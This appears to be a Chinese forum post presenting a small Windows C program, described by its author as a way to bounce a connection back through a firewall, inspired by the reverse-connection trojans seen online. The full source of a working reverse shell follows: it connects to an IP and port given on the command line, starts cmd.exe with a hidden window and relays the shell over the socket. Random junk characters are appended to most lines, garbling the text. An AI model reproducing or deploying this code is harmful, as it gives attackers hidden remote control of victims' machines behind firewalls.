Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 pgI^4h  
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/* ============================== +;N2p1ZBf  
Rebound port in Windows NT VEqS;~[  
By wind,2006/7 bF"G[pD  
===============================*/ %,6#2X nX%  
#include %|g>%D3Z?  
#include TDFkxB>  
#h8Sq~0  
#pragma comment(lib,"wsock32.lib") aB{vFTD5  
v/68*,z[  
void OutputShell(); f]`#J%P  
SOCKET sClient; wsIW |@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }z _  
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void main(int argc,char **argv) l_P-j96WD  
{ P@$/P99  
WSADATA stWsaData; G-xDN59K  
int nRet; P"y`A}Bx  
SOCKADDR_IN stSaiClient,stSaiServer; H:t$'kb`  
K?B{rE Lp  
if(argc != 3) b\vKJ2  
{ !`g~F\l  
printf("Useage:\n\rRebound DestIP DestPort\n"); -@yh>8v  
return; [ sN EHf  
} tiB_a}5IB  
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WSAStartup(MAKEWORD(2,2),&stWsaData); )Dw,q~xgg0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oiz ,w7LRh  
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stSaiClient.sin_family = AF_INET; s%C)t6`9  
stSaiClient.sin_port = htons(0); B_nVP  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TcjEcMw,  
/'].lp  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s>;v!^N?u  
{ 4zev^FR  
printf("Bind Socket Failed!\n"); !;i`PPRwk  
return; DnCP aM4%  
} -8
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stSaiServer.sin_family = AF_INET; L;VoJf  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Cjqklb/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iop2L51eJ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dv8>[#  
{ U3T#6Rptl  
printf("Connect Error!"); y#Fv+`YDl  
return; Rn`x7(WA  
} b$ve sJ  
OutputShell(); }.3nthgz  
} ^?cz,N~  
!46RGU:I  
void OutputShell() k9  "[H'  
{ WN{ 9  
char szBuff[1024]; 0fF(Z0R,  
SECURITY_ATTRIBUTES stSecurityAttributes; .y_/Uwu  
OSVERSIONINFO stOsversionInfo; R:e<W/P"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pk?w\A}  
STARTUPINFO stStartupInfo; q qpgy7  
char *szShell; >
XY`*J^  
PROCESS_INFORMATION stProcessInformation; MBt9SXM  
unsigned long lBytesRead; UR7g`/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); //T>G_1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rR9|6l 3  
stSecurityAttributes.lpSecurityDescriptor = 0; 2^mJ+v<  
stSecurityAttributes.bInheritHandle = TRUE; 9o;^[Ql-  
-yE/f2PgQ  
QrB@cK]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?WF/|/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LJk@Vy <?  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |uqf:V`z:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #w,Dwy  
stStartupInfo.wShowWindow = SW_HIDE; "^w]_^GD$d  
stStartupInfo.hStdInput = hReadPipe; w[9|cgCY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &u /Nf&A  
1Ty<\bZ=  
GetVersionEx(&stOsversionInfo); 56+s~hG  
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switch(stOsversionInfo.dwPlatformId) zm]aU`j  
{ }Mf!-g  
case 1: _A+s)]}  
szShell = "command.com"; B^j  
break; Wc,~{  
default: 0~ZFv Wv  
szShell = "cmd.exe"; X9p.gXF  
break; J?RabYd ~  
} eoai(&o0$  
W=#:.Xj[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }`W){]{kO  
?&|5=>u2}$  
send(sClient,szMsg,77,0); *+j*{>E  
while(1) dRj|g  
{ V.O(S\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xl6,s>ob  
if(lBytesRead) 7![,Q~Fy  
{ ZAv,*5&<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3&u&x(  
send(sClient,szBuff,lBytesRead,0); A*2 bA  
} ^aH\7J@Y  
else 1QLbf*zeIW  
{ |+iws8xK?  
lBytesRead=recv(sClient,szBuff,1024,0); txiP!+3OWB  
if(lBytesRead<=0) break; 5&v~i\Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zaah^.MA|  
} MYla OT  
} ^Wc@oa`  
V}dJ.I /#  
return; FrTi+& <  
}